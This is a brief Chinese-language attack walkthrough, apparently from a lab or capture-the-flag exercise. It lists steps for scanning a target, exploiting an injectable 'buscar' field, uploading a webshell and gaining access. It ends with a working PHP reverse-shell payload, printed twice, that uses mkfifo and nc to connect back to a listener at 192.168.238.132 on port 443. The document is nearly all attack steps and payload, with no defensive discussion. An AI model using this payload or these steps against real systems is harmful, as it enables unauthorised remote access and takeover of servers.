1.获取ip,访问
2.扫描目录和端口
3.发现buscar可以注入
4.输入木马,连接
5.上传php反弹shell文件,仅可使用443,打开监听,连接成功后,写入交互式shell,获取权限
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.238.132 443 >/tmp/f');?>
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.238.132 443 >/tmp/f');?>